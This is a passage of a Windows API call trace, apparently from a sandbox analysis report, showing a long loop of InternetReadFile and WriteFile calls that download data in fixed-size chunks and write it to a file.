nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.688] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.700] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.701] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.702] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.703] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.705] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.705] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.719] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.720] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.723] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.723] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.726] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.727] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.730] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.730] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.747] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.747] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.747] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.747] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.758] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.759] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.762] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.763] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.765] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.765] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.768] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.768] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.787] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.787] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.789] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.789] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.797] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.798] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.800] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.800] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.804] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.804] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.808] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.808] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.825] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.832] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.832] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.832] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.833] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.833] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.857] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.857] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.858] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.859] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.859] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.860] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.860] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.861] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.868] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.868] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.874] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.874] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.877] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.877] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.894] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.895] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.899] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.899] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.902] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.902] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.908] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.908] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.912] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.912] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.916] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.917] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.934] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.934] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.938] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.938] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.941] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.942] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.944] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.944] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.951] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.951] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.956] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.956] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.974] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.974] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.978] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.978] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.981] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.981] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.984] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.984] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.989] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.005] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.005] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.005] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.013] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.013] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.018] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.019] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.020] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.021] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.025] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.025] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.028] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.029] 